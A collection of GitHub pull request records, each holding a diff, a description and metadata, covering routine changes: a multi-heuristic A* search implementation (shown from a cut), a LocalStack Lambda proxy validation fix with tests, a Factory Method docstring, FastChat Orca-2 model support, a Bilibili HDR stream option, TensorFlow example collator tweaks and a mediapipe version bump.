goal, start): + grid = np.chararray((n, n)) + for i in range(n): + for j in range(n): + grid[i][j] = '*' + + for i in range(n): + for j in range(n): + if (j, (n-1)-i) in blocks: + grid[i][j] = "#" + + grid[0][(n-1)] = "-" + x = back_pointer[goal] + while x != start: + (x_c, y_c) = x + # print(x) + grid[(n-1)-y_c][x_c] = "-" + x = back_pointer[x] + grid[(n-1)][0] = "-" + + + for i in xrange(n): + for j in range(n): + if (i, j) == (0, n-1): + print grid[i][j], + print "<-- End position", + else: + print grid[i][j], + print + print("^") + print("Start position") + print + print("# is an obstacle") + print("- is the path taken by algorithm") + print("PATH TAKEN BY THE ALGORITHM IS:-") + x = back_pointer[goal] + while x != start: + print x, + x = back_pointer[x] + print x + quit() + +def valid(p): + if p[0] < 0 or p[0] > n-1: + return False + if p[1] < 0 or p[1] > n-1: + return False + return True + +def expand_state(s, j, visited, g_function, close_list_anchor, close_list_inad, open_list, back_pointer): + for itera in range(n_hueristic): + open_list[itera].remove_element(s) + # print("s", s) + # print("j", j) + (x, y) = s + left = (x-1, y) + right = (x+1, y) + up = (x, y+1) + down = (x, y-1) + + for neighbours in [left, right, up, down]: + if neighbours not in blocks: + if valid(neighbours) and neighbours not in visited: + # print("neighbour", neighbours) + visited.add(neighbours) + back_pointer[neighbours] = -1 + g_function[neighbours] = float('inf') + + if valid(neighbours) and g_function[neighbours] > g_function[s] + 1: + g_function[neighbours] = g_function[s] + 1 + back_pointer[neighbours] = s + if neighbours not in close_list_anchor: + open_list[0].put(neighbours, key(neighbours, 0, goal, g_function)) + if neighbours not in close_list_inad: + for var in range(1,n_hueristic): + if key(neighbours, var, goal, g_function) <= W2 * key(neighbours, 0, goal, g_function): + # print("why not plssssssssss") + open_list[j].put(neighbours, key(neighbours, var, goal, g_function)) + + + # print + +def make_common_ground(): + some_list = [] + # block 1 + for x in range(1, 5): + for y in range(1, 6): + some_list.append((x, y)) + + # line + for x in range(15, 20): + some_list.append((x, 17)) + + # block 2 big + for x in range(10, 19): + for y in range(1, 15): + some_list.append((x, y)) + + # L block + for x in range(1, 4): + for y in range(12, 19): + some_list.append((x, y)) + for x in range(3, 13): + for y in range(16, 19): + some_list.append((x, y)) + return some_list + +hueristics = {0: consistent_hueristic, 1: hueristic_1, 2: hueristic_2} + +blocks_blk = [(0, 1),(1, 1),(2, 1),(3, 1),(4, 1),(5, 1),(6, 1),(7, 1),(8, 1),(9, 1),(10, 1),(11, 1),(12, 1),(13, 1),(14, 1),(15, 1),(16, 1),(17, 1),(18, 1), (19, 1)] +blocks_no = [] +blocks_all = make_common_ground() + + + + +blocks = blocks_blk +# hyper parameters +W1 = 1 +W2 = 1 +n = 20 +n_hueristic = 3 # one consistent and two other inconsistent + +# start and end destination +start = (0, 0) +goal = (n-1, n-1) + +t = 1 +def multi_a_star(start, goal, n_hueristic): + g_function = {start: 0, goal: float('inf')} + back_pointer = {start:-1, goal:-1} + open_list = [] + visited = set() + + for i in range(n_hueristic): + open_list.append(PriorityQueue()) + open_list[i].put(start, key(start, i, goal, g_function)) + + close_list_anchor = [] + close_list_inad = [] + while open_list[0].minkey() < float('inf'): + for i in range(1, n_hueristic): + # print("i", i) + # print(open_list[0].minkey(), open_list[i].minkey()) + if open_list[i].minkey() <= W2 * open_list[0].minkey(): + global t + t += 1 + # print("less prio") + if g_function[goal] <= open_list[i].minkey(): + if g_function[goal] < float('inf'): + do_something(back_pointer, goal, start) + else: + _, get_s = open_list[i].top_show() + visited.add(get_s) + expand_state(get_s, i, visited, g_function, close_list_anchor, close_list_inad, open_list, back_pointer) + close_list_inad.append(get_s) + else: + # print("more prio") + if g_function[goal] <= open_list[0].minkey(): + if g_function[goal] < float('inf'): + do_something(back_pointer, goal, start) + else: + # print("hoolla") + get_s = open_list[0].top_show() + visited.add(get_s) + expand_state(get_s, 0, visited, g_function, close_list_anchor, close_list_inad, open_list, back_pointer) + close_list_anchor.append(get_s) + print("No path found to goal") + print + for i in range(n-1,-1, -1): + for j in range(n): + if (j, i) in blocks: + print '#', + elif (j, i) in back_pointer: + if (j, i) == (n-1, n-1): + print '*', + else: + print '-', + else: + print '*', + if (j, i) == (n-1, n-1): + print '<-- End position', + print + print("^") + print("Start position") + print + print("# is an obstacle") + print("- is the path taken by algorithm") +multi_a_star(start, goal, n_hueristic) \ No newline at end of file
Implemented the paper www.cs.cmu.edu/~venkatrn/papers/ijrr16.pdf
https://api.github.com/repos/TheAlgorithms/Python/pulls/197
2017-10-27T06:06:05Z
2017-10-31T05:13:06Z
2017-10-31T05:13:05Z
2017-10-31T05:13:06Z
2,461
TheAlgorithms/Python
29,530
update validation of Lambda AWS Proxy format
diff --git a/localstack/services/apigateway/integration.py b/localstack/services/apigateway/integration.py index 6291170ef6ccd..30c5025af8275 100644 --- a/localstack/services/apigateway/integration.py +++ b/localstack/services/apigateway/integration.py @@ -216,8 +216,13 @@ def lambda_result_to_response(cls, result) -> LambdaResponse: parsed_result = common.json_safe(parsed_result) parsed_result = {} if parsed_result is None else parsed_result - keys = parsed_result.keys() - if "statusCode" not in keys or "body" not in keys: + if set(parsed_result) - { + "body", + "statusCode", + "headers", + "isBase64Encoded", + "multiValueHeaders", + }: LOG.warning( 'Lambda output should follow the next JSON format: { "isBase64Encoded": true|false, "statusCode": httpStatusCode, "headers": { "headerName": "headerValue", ... },"body": "..."}\n Lambda output: %s', parsed_result, @@ -366,9 +371,13 @@ def invoke(self, invocation_context: ApiInvocationContext): parsed_result = common.json_safe(parsed_result) parsed_result = {} if parsed_result is None else parsed_result - keys = parsed_result.keys() - - if not ("statusCode" in keys and "body" in keys): + if set(parsed_result) - { + "body", + "statusCode", + "headers", + "isBase64Encoded", + "multiValueHeaders", + }: LOG.warning( 'Lambda output should follow the next JSON format: { "isBase64Encoded": true|false, "statusCode": httpStatusCode, "headers": { "headerName": "headerValue", ... },"body": "..."}\n Lambda output: %s', parsed_result, diff --git a/tests/aws/services/apigateway/test_apigateway_lambda.py b/tests/aws/services/apigateway/test_apigateway_lambda.py index 846e728635778..9ff789cd670f2 100644 --- a/tests/aws/services/apigateway/test_apigateway_lambda.py +++ b/tests/aws/services/apigateway/test_apigateway_lambda.py @@ -15,6 +15,7 @@ from tests.aws.services.apigateway.conftest import APIGATEWAY_ASSUME_ROLE_POLICY from tests.aws.services.lambda_.test_lambda import ( TEST_LAMBDA_AWS_PROXY, + TEST_LAMBDA_AWS_PROXY_FORMAT, TEST_LAMBDA_MAPPING_RESPONSES, TEST_LAMBDA_PYTHON_ECHO, TEST_LAMBDA_PYTHON_SELECT_PATTERN, @@ -666,3 +667,94 @@ def invoke_api(status_code): for status_code in status_codes: response = retry(invoke_api, sleep=2, retries=10, status_code=status_code) snapshot.match(f"lambda-selection-pattern-{status_code}", response.json()) + + +@markers.aws.validated +def test_lambda_aws_proxy_response_format( + create_rest_apigw, create_lambda_function, create_role_with_policy, aws_client +): + stage_name = "test" + _, role_arn = create_role_with_policy( + "Allow", "lambda:InvokeFunction", json.dumps(APIGATEWAY_ASSUME_ROLE_POLICY), "*" + ) + + # create 2 lambdas + function_name = f"test-function-{short_uid()}" + create_function_response = create_lambda_function( + func_name=function_name, + handler_file=TEST_LAMBDA_AWS_PROXY_FORMAT, + handler="lambda_aws_proxy_format.handler", + runtime=Runtime.python3_9, + ) + # create invocation role + lambda_arn = create_function_response["CreateFunctionResponse"]["FunctionArn"] + + # create rest api + api_id, _, root = create_rest_apigw( + name=f"test-api-{short_uid()}", + description="Integration test API", + ) + + resource_id = aws_client.apigateway.create_resource( + restApiId=api_id, parentId=root, pathPart="{proxy+}" + )["id"] + + aws_client.apigateway.put_method( + restApiId=api_id, + resourceId=resource_id, + httpMethod="ANY", + authorizationType="NONE", + ) + + # Lambda AWS_PROXY integration + aws_client.apigateway.put_integration( + restApiId=api_id, + resourceId=resource_id, + httpMethod="ANY", + type="AWS_PROXY", + integrationHttpMethod="POST", + uri=f"arn:aws:apigateway:{aws_client.apigateway.meta.region_name}:lambda:path/2015-03-31/functions/{lambda_arn}/invocations", + credentials=role_arn, + ) + + aws_client.apigateway.create_deployment(restApiId=api_id, stageName=stage_name) + + format_types = [ + "no-body", + "only-headers", + "wrong-format", + "empty-response", + ] + + for lambda_format_type in format_types: + # invoke rest api + invocation_url = api_invoke_url( + api_id=api_id, + stage=stage_name, + path=f"/{lambda_format_type}", + ) + + def invoke_api(url): + # use test header with different casing to check if it is preserved in the proxy payload + response = requests.get( + url, + headers={"User-Agent": "python-requests/testing"}, + verify=False, + ) + if lambda_format_type == "wrong-format": + assert response.status_code == 502 + else: + assert response.status_code == 200 + return response + + # retry is necessary against AWS, probably IAM permission delay + response = retry(invoke_api, sleep=2, retries=10, url=invocation_url) + + if lambda_format_type in ("no-body", "only-headers", "empty-response"): + assert response.content == b"" + if lambda_format_type == "only-headers": + assert response.headers["test-header"] == "value" + + elif lambda_format_type == "wrong-format": + assert response.status_code == 502 + assert response.json() == {"message": "Internal server error"} diff --git a/tests/aws/services/apigateway/test_apigateway_lambda.validation.json b/tests/aws/services/apigateway/test_apigateway_lambda.validation.json index a6c2ed459bec3..048c33d769676 100644 --- a/tests/aws/services/apigateway/test_apigateway_lambda.validation.json +++ b/tests/aws/services/apigateway/test_apigateway_lambda.validation.json @@ -11,6 +11,9 @@ "tests/aws/services/apigateway/test_apigateway_lambda.py::test_lambda_aws_proxy_integration": { "last_validated_date": "2023-04-26T18:03:23+00:00" }, + "tests/aws/services/apigateway/test_apigateway_lambda.py::test_lambda_aws_proxy_response_format": { + "last_validated_date": "2024-02-23T18:39:48+00:00" + }, "tests/aws/services/apigateway/test_apigateway_lambda.py::test_lambda_selection_patterns": { "last_validated_date": "2023-09-05T19:54:21+00:00" } diff --git a/tests/aws/services/lambda_/functions/lambda_aws_proxy_format.py b/tests/aws/services/lambda_/functions/lambda_aws_proxy_format.py new file mode 100644 index 0000000000000..877059e1ca210 --- /dev/null +++ b/tests/aws/services/lambda_/functions/lambda_aws_proxy_format.py @@ -0,0 +1,22 @@ +import json + + +def handler(event, context): + # Just print the event that was passed to the Lambda + print(json.dumps(event)) + if event["path"] == "/no-body": + return {"statusCode": 200} + elif event["path"] == "/only-headers": + return {"statusCode": 200, "headers": {"test-header": "value"}} + elif event["path"] == "/wrong-format": + return {"statusCode": 200, "wrongValue": "value"} + + elif event["path"] == "/empty-response": + return {} + + else: + return { + "statusCode": 200, + "body": json.dumps(event), + "isBase64Encoded": False, + } diff --git a/tests/aws/services/lambda_/test_lambda.py b/tests/aws/services/lambda_/test_lambda.py index 9c1034a2ea855..ef3ae5defe805 100644 --- a/tests/aws/services/lambda_/test_lambda.py +++ b/tests/aws/services/lambda_/test_lambda.py @@ -68,6 +68,7 @@ TEST_LAMBDA_PYTHON_HANDLER_ERROR = os.path.join(THIS_FOLDER, "functions/lambda_handler_error.py") TEST_LAMBDA_PYTHON_HANDLER_EXIT = os.path.join(THIS_FOLDER, "functions/lambda_handler_exit.py") TEST_LAMBDA_AWS_PROXY = os.path.join(THIS_FOLDER, "functions/lambda_aws_proxy.py") +TEST_LAMBDA_AWS_PROXY_FORMAT = os.path.join(THIS_FOLDER, "functions/lambda_aws_proxy_format.py") TEST_LAMBDA_PYTHON_S3_INTEGRATION = os.path.join(THIS_FOLDER, "functions/lambda_s3_integration.py") TEST_LAMBDA_INTEGRATION_NODEJS = os.path.join(THIS_FOLDER, "functions/lambda_integration.js") TEST_LAMBDA_NODEJS = os.path.join(THIS_FOLDER, "functions/lambda_handler.js")
<!-- Please refer to the contribution guidelines before raising a PR: https://github.com/localstack/localstack/blob/master/CONTRIBUTING.md --> <!-- Why am I raising this PR? Add context such as related issues, PRs, or documentation. --> ## Motivation As reported in #10310, it seems we were overzealous over the validation of the output of the AWS Proxy lambda integration. We need to validate that no wrong fields are returned, but no field is mandatory. The documentation was not clear on that: https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html#api-gateway-simple-proxy-for-lambda-output-format <!-- What notable changes does this PR make? --> ## Changes - added a test to validate different formats of return of the lambda function - updated the logic, not sure why it's duplicated in 2 spots but made it in both for now to be sure. We can refactor this in the future <!-- The following sections are optional, but can be useful! ## Testing Description of how to test the changes ## TODO What's left to do: - [ ] ... - [ ] ... -->
https://api.github.com/repos/localstack/localstack/pulls/10312
2024-02-23T18:41:07Z
2024-02-24T22:42:45Z
2024-02-24T22:42:45Z
2024-02-24T22:42:46Z
2,175
localstack/localstack
29,210
Explanation of the Factory Method pattern
diff --git a/creational/factory_method.py b/creational/factory_method.py index d29a2ed3..6a1d334b 100644 --- a/creational/factory_method.py +++ b/creational/factory_method.py @@ -1,7 +1,34 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -"""http://ginstrom.com/scribbles/2007/10/08/design-patterns-python-style/""" +"""*What is this pattern about? +The Factory Method pattern can be used to create an interface for a +method, leaving the implementation to the class that gets +instantiated. + +*What does this example do? +The code shows a way to localize words in two languages: English and +Greek. "getLocalizer" is the factory method that constructs a +localizer depending on the language chosen. The localizer object will +be an instance from a different class according to the language +localized. However, the main code does not have to worry about which +localizer will be instantiated, since the method "get" will be called +in the same way independently of the language. + +*Where can the pattern be used practically? +The Factory Method can be seen in the popular web framework Django: +http://django.wikispaces.asu.edu/*NEW*+Django+Design+Patterns For +example, in a contact form of a web page, the subject and the message +fields are created using the same form factory (CharField()), even +though they have different implementations according to their +purposes. + +*References: +http://ginstrom.com/scribbles/2007/10/08/design-patterns-python-style/ +https://fkromer.github.io/python-pattern-references/design/#factory-method +https://sourcemaking.com/design_patterns/factory_method + +""" class GreekGetter(object):
Disclaimer: I've been looking for a project to start contributing to OSS, and this one seemed interesting and not too complicated. Since I'm a newbie in all this, any advice and suggestions are welcome! Thanks! I intend to work on the issue "Short descriptions #184" (https://github.com/faif/python-patterns/issues/184), and the first step was to include some explanation about the Factory Method pattern. If possible, I would like some feedback on the description I added so I can have a better idea on what to do with the others.
https://api.github.com/repos/faif/python-patterns/pulls/198
2017-06-13T11:33:25Z
2017-06-13T17:45:55Z
2017-06-13T17:45:55Z
2017-06-13T17:45:55Z
425
faif/python-patterns
33,640
Add Microsoft/Orca-2-7b and update model support docs
diff --git a/docs/model_support.md b/docs/model_support.md index b71bd5b19f..fa07391283 100644 --- a/docs/model_support.md +++ b/docs/model_support.md @@ -52,6 +52,8 @@ - [HuggingFaceH4/zephyr-7b-alpha](https://huggingface.co/HuggingFaceH4/zephyr-7b-alpha) - [Xwin-LM/Xwin-LM-7B-V0.1](https://huggingface.co/Xwin-LM/Xwin-LM-70B-V0.1) - [OpenLemur/lemur-70b-chat-v1](https://huggingface.co/OpenLemur/lemur-70b-chat-v1) +- [allenai/tulu-2-dpo-7b](https://huggingface.co/allenai/tulu-2-dpo-7b) +- [Microsoft/Orca-2-7b](https://huggingface.co/microsoft/Orca-2-7b) - Any [EleutherAI](https://huggingface.co/EleutherAI) pythia model such as [pythia-6.9b](https://huggingface.co/EleutherAI/pythia-6.9b) - Any [Peft](https://github.com/huggingface/peft) adapter trained on top of a model above. To activate, must have `peft` in the model path. Note: If diff --git a/fastchat/conversation.py b/fastchat/conversation.py index 6067710e80..f826327b33 100644 --- a/fastchat/conversation.py +++ b/fastchat/conversation.py @@ -1190,6 +1190,19 @@ def get_conv_template(name: str) -> Conversation: ) ) +# Orca-2 template +# reference: https://huggingface.co/microsoft/Orca-2-7b +register_conv_template( + Conversation( + name="orca-2", + system_template="<|im_start|>system\n{system_message}", + system_message="You are Orca, an AI language model created by Microsoft. You are a cautious assistant. You carefully follow instructions. You are helpful and harmless and you follow ethical guidelines and promote positive behavior.", + roles=("<|im_start|>user", "<|im_start|>assistant"), + sep_style=SeparatorStyle.CHATML, + sep="<|im_end|>", + stop_str="<|im_end|>", + ) +) if __name__ == "__main__": from fastchat.conversation import get_conv_template diff --git a/fastchat/model/model_adapter.py b/fastchat/model/model_adapter.py index e7d14f9182..c034e2f032 100644 --- a/fastchat/model/model_adapter.py +++ b/fastchat/model/model_adapter.py @@ -1827,6 +1827,18 @@ def get_default_conv_template(self, model_path: str) -> Conversation: return get_conv_template("metharme") +class MicrosoftOrcaAdapter(BaseModelAdapter): + """The model adapter for Microsoft/Orca-2 series of models (e.g. Microsoft/Orca-2-7b, Microsoft/Orca-2-13b)""" + + use_fast_tokenizer = False # Flag neeeded since tokenizers>=0.13.3 is required for a normal functioning of this module + + def match(self, model_path: str): + return "orca-2" in model_path.lower() + + def get_default_conv_template(self, model_path: str) -> Conversation: + return get_conv_template("orca-2") + + # Note: the registration order matters. # The one registered earlier has a higher matching priority. register_model_adapter(PeftModelAdapter) @@ -1893,7 +1905,7 @@ def get_default_conv_template(self, model_path: str) -> Conversation: register_model_adapter(XwinLMAdapter) register_model_adapter(LemurAdapter) register_model_adapter(PygmalionAdapter) - +register_model_adapter(MicrosoftOrcaAdapter) # After all adapters, try the default base adapter. register_model_adapter(BaseModelAdapter)
## Why are these changes needed? We add Microsoft/Orca-2-7b model: https://huggingface.co/microsoft/Orca-2-7b We also note that the [allenai's tulu-2 series](https://huggingface.co/allenai/tulu-2-dpo-70b/tree/main) can be served as well in the model support docs. ## Checks - [x] I've run `format.sh` to lint the changes in this PR. - [x] I've included any doc changes needed.
https://api.github.com/repos/lm-sys/FastChat/pulls/2714
2023-11-22T07:42:08Z
2023-11-22T08:29:16Z
2023-11-22T08:29:16Z
2023-11-22T08:29:17Z
926
lm-sys/FastChat
41,337
add HDR support for bilibili
diff --git a/src/you_get/extractors/bilibili.py b/src/you_get/extractors/bilibili.py index a812d72df3..a696b398b5 100644 --- a/src/you_get/extractors/bilibili.py +++ b/src/you_get/extractors/bilibili.py @@ -12,6 +12,8 @@ class Bilibili(VideoExtractor): # Bilibili media encoding options, in descending quality order. stream_types = [ + {'id': 'hdflv2', 'quality': 125, 'audio_quality': 30280, + 'container': 'FLV', 'video_resolution': '3840p', 'desc': '真彩 HDR'}, {'id': 'hdflv2_4k', 'quality': 120, 'audio_quality': 30280, 'container': 'FLV', 'video_resolution': '2160p', 'desc': '超清 4K'}, {'id': 'flv_p60', 'quality': 116, 'audio_quality': 30280,
https://api.github.com/repos/soimort/you-get/pulls/2875
2021-03-24T17:50:22Z
2021-03-26T21:28:55Z
2021-03-26T21:28:55Z
2021-03-26T21:28:55Z
242
soimort/you-get
21,152
Use return_tensors="np" instead of "tf"
diff --git a/examples/tensorflow/language-modeling/run_mlm.py b/examples/tensorflow/language-modeling/run_mlm.py index 680efcdbe48d6..f7812b611bce6 100755 --- a/examples/tensorflow/language-modeling/run_mlm.py +++ b/examples/tensorflow/language-modeling/run_mlm.py @@ -499,7 +499,7 @@ def group_texts(examples): # region TF Dataset preparation num_replicas = training_args.strategy.num_replicas_in_sync data_collator = DataCollatorForLanguageModeling( - tokenizer=tokenizer, mlm_probability=data_args.mlm_probability, return_tensors="tf" + tokenizer=tokenizer, mlm_probability=data_args.mlm_probability, return_tensors="np" ) options = tf.data.Options() options.experimental_distribute.auto_shard_policy = tf.data.experimental.AutoShardPolicy.OFF diff --git a/examples/tensorflow/multiple-choice/run_swag.py b/examples/tensorflow/multiple-choice/run_swag.py index 9fc1e7dd67b38..3ff835a017084 100644 --- a/examples/tensorflow/multiple-choice/run_swag.py +++ b/examples/tensorflow/multiple-choice/run_swag.py @@ -105,7 +105,7 @@ def __call__(self, features): padding=self.padding, max_length=self.max_length, pad_to_multiple_of=self.pad_to_multiple_of, - return_tensors="tf", + return_tensors="np", ) # Un-flatten @@ -410,7 +410,7 @@ def preprocess_function(examples): ) if data_args.pad_to_max_length: - data_collator = DefaultDataCollator(return_tensors="tf") + data_collator = DefaultDataCollator(return_tensors="np") else: # custom class defined above, as HF has no data collator for multiple choice data_collator = DataCollatorForMultipleChoice(tokenizer) diff --git a/examples/tensorflow/summarization/run_summarization.py b/examples/tensorflow/summarization/run_summarization.py index c244a30a7aaf5..ea03060915ec8 100644 --- a/examples/tensorflow/summarization/run_summarization.py +++ b/examples/tensorflow/summarization/run_summarization.py @@ -533,7 +533,7 @@ def postprocess_text(preds, labels): model=model, label_pad_token_id=label_pad_token_id, pad_to_multiple_of=128, # Reduce the number of unique shapes for XLA, especially for generation - return_tensors="tf", + return_tensors="np", ) dataset_options = tf.data.Options() diff --git a/examples/tensorflow/text-classification/run_glue.py b/examples/tensorflow/text-classification/run_glue.py index d7929f07dc94f..10a4d373eeb25 100644 --- a/examples/tensorflow/text-classification/run_glue.py +++ b/examples/tensorflow/text-classification/run_glue.py @@ -345,9 +345,9 @@ def preprocess_function(examples): datasets = datasets.map(preprocess_function, batched=True, load_from_cache_file=not data_args.overwrite_cache) if data_args.pad_to_max_length: - data_collator = DefaultDataCollator(return_tensors="tf") + data_collator = DefaultDataCollator(return_tensors="np") else: - data_collator = DataCollatorWithPadding(tokenizer, return_tensors="tf") + data_collator = DataCollatorWithPadding(tokenizer, return_tensors="np") # endregion # region Metric function diff --git a/examples/tensorflow/token-classification/run_ner.py b/examples/tensorflow/token-classification/run_ner.py index 5e8ee5323dd49..86fe819e28912 100644 --- a/examples/tensorflow/token-classification/run_ner.py +++ b/examples/tensorflow/token-classification/run_ner.py @@ -396,7 +396,7 @@ def tokenize_and_align_labels(examples): # We need the DataCollatorForTokenClassification here, as we need to correctly pad labels as # well as inputs. - collate_fn = DataCollatorForTokenClassification(tokenizer=tokenizer, return_tensors="tf") + collate_fn = DataCollatorForTokenClassification(tokenizer=tokenizer, return_tensors="np") num_replicas = training_args.strategy.num_replicas_in_sync total_train_batch_size = training_args.per_device_train_batch_size * num_replicas diff --git a/examples/tensorflow/translation/run_translation.py b/examples/tensorflow/translation/run_translation.py index edcd3bee092f6..411b262efa090 100644 --- a/examples/tensorflow/translation/run_translation.py +++ b/examples/tensorflow/translation/run_translation.py @@ -499,7 +499,7 @@ def preprocess_function(examples): model=model, label_pad_token_id=label_pad_token_id, pad_to_multiple_of=64, # Reduce the number of unique shapes for XLA, especially for generation - return_tensors="tf", + return_tensors="np", ) num_replicas = training_args.strategy.num_replicas_in_sync total_train_batch_size = training_args.per_device_train_batch_size * num_replicas
This PR is doing exactly the same thing as the [notebooks PR here](https://github.com/huggingface/notebooks/pull/308). In our TF examples, we use return_tensors="tf" for the data collators. However, `prepare_tf_dataset` and `to_tf_dataset` actually use a NumPy loader internally, which we wrap with a `tf.data.Dataset` at the end. As a result, return_tensors="np" works much better for them, and avoids some weird slowdown bugs we've experienced. This PR replaces every instance in our examples with return_tensors="np". (cc @gante, @amyeroberts, @sayakpaul just so you're aware)
https://api.github.com/repos/huggingface/transformers/pulls/21266
2023-01-23T17:23:51Z
2023-01-24T13:37:49Z
2023-01-24T13:37:49Z
2023-01-24T13:40:32Z
1,178
huggingface/transformers
12,628
Bump mediapipe from 0.10.8 to 0.10.9
diff --git a/Hand-Motion-Detection/requirements.txt b/Hand-Motion-Detection/requirements.txt index a08d8c0d1d..c8e45b52a7 100644 --- a/Hand-Motion-Detection/requirements.txt +++ b/Hand-Motion-Detection/requirements.txt @@ -1,3 +1,3 @@ numpy==1.26.2 opencv_python==4.8.1.78 -mediapipe==0.10.8 +mediapipe==0.10.9
Bumps [mediapipe](https://github.com/google/mediapipe) from 0.10.8 to 0.10.9. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/google/mediapipe/releases">mediapipe's releases</a>.</em></p> <blockquote> <h2>MediaPipe v0.10.9</h2> <h3>Build changes</h3> <ul> <li>Add libtext and libvision build rules</li> <li>Add lib targets for all C vision tasks</li> </ul> <h3>Framework and core calculator improvements</h3> <ul> <li>Added files for the Image Embedder C API and tests</li> <li>Pass Model Asset Buffer as byte array + length</li> <li>Drop default arguments in C API</li> <li>Updated the Image Embedder C API and added tests for cosine similarity</li> <li>Drop default arguments in Image Embedder C API</li> <li>Remove const from input types of C API</li> <li>Resolved issues and added a common header to hold all the necessary structures for the vision tasks</li> <li>Refactor OpenCV path out of TensorsToSegmentationCalculator main file.</li> <li>Add some convenience getters to EglManager.</li> <li>Added files for the Object Detector C Tasks API</li> <li>Explicitly delete some copy operations to improve compile errors.</li> <li>Extract CPU conversion methods into a separate library &amp; add test</li> <li>Updated components and their tests in the C Tasks API</li> <li>Ensure that releaseGl() is called if prepapreGl throws</li> <li>Adding a GpuTestWithParamBase test class to support value parameterized tests</li> <li>Added Gesture Recognizer C API and tests</li> <li>Holistic Landmarker C++ Graph</li> <li>Revised Gesture Recognizer API implementation and associated tests</li> <li>Added FreeMemory test for GestureRecognizerResult</li> <li>Refactor GestureRecognizerResult conversion for default initialization</li> <li>Move LanguageDetectorResult converter to LanguageDetector task</li> <li>Add TensorsToSegmentationCalculator test utilities.</li> <li>Added Hand Landmarker C Tasks API and tests</li> <li>Export java package for hand_roi_refinement_graph_options.</li> <li>Fix naming in different files</li> <li>Create an explicit GlRuntimeException class</li> </ul> <h3>MediaPipe Tasks update</h3> <p>This section should highlight the changes that are done specifically for any platform and don't propagate to other platforms.</p> <h4>Android</h4> <ul> <li>Create shared utilities to construct category lists</li> <li>Create shared utilities to construct landmark lists</li> <li>Add the result class for the HolisticLandmarker Java API</li> <li>HolisticLandmarker Java API</li> <li>Add dependency on hand_roi_refinement_graph_options_proto</li> <li>Use Java Proto Lite Target for Hand ROI Refinement proto</li> <li>Move hand_roi_refinement_graph_options_java_proto_lite to vision lib</li> </ul> <h4>iOS</h4> <ul> <li>Added iOS MPPPoseLandmarker.mm</li> <li>Added null check for segmentation masks in pose landmarker helper initializer</li> <li>Added pose landmarker protobuf utils</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/google/mediapipe/commit/4237b765ce95af0813de4094ed1e21a67bad2a5f"><code>4237b76</code></a> Internal</li> <li><a href="https://github.com/google/mediapipe/commit/9a20d6b3e4622460fc7fa0b4f14343fc34b380e9"><code>9a20d6b</code></a> Create an explicit GlRuntimeException class</li> <li><a href="https://github.com/google/mediapipe/commit/bd946db5a641e7e2db266181606d8814cd77da82"><code>bd946db</code></a> No public description</li> <li><a href="https://github.com/google/mediapipe/commit/61efcf5a11aa6eeb571084fe8e206d1e4ce747c2"><code>61efcf5</code></a> internal-only change</li> <li><a href="https://github.com/google/mediapipe/commit/4e78e645d060abd194e87ec495cf4c7134aba7e0"><code>4e78e64</code></a> No public description</li> <li><a href="https://github.com/google/mediapipe/commit/faae68e81d3c0453c0f160a61a2920118b264b35"><code>faae68e</code></a> Merge pull request <a href="https://redirect.github.com/google/mediapipe/issues/5010">#5010</a> from kinaryml:c-hand-landmarker-api</li> <li><a href="https://github.com/google/mediapipe/commit/20743b811051ee99303ef7c098d08cbbaaee74e4"><code>20743b8</code></a> Update MediaPipe development version to 0.10.9</li> <li><a href="https://github.com/google/mediapipe/commit/0a77b8c57bdfe91b4f194ab730548cc2f9bfd290"><code>0a77b8c</code></a> No public description</li> <li><a href="https://github.com/google/mediapipe/commit/66655a15b21d1076a85491189fe03b89f57bee24"><code>66655a1</code></a> API 2: Do not redirect from MEDIAPIPE_REGISTER_NODE to REGISTER_CALCULATOR</li> <li><a href="https://github.com/google/mediapipe/commit/6909504ca9ad8dfff3bca2f12b17649f1bd8e4ca"><code>6909504</code></a> Fix naming in different files</li> <li>Additional commits viewable in <a href="https://github.com/google/mediapipe/compare/v0.10.8...v0.10.9">compare view</a></li> </ul> </details> <br /> [![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=mediapipe&package-manager=pip&previous-version=0.10.8&new-version=0.10.9)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) </details>
https://api.github.com/repos/geekcomputers/Python/pulls/2054
2023-12-13T18:31:15Z
2023-12-15T21:49:42Z
2023-12-15T21:49:42Z
2023-12-15T21:49:49Z
124
geekcomputers/Python
31,526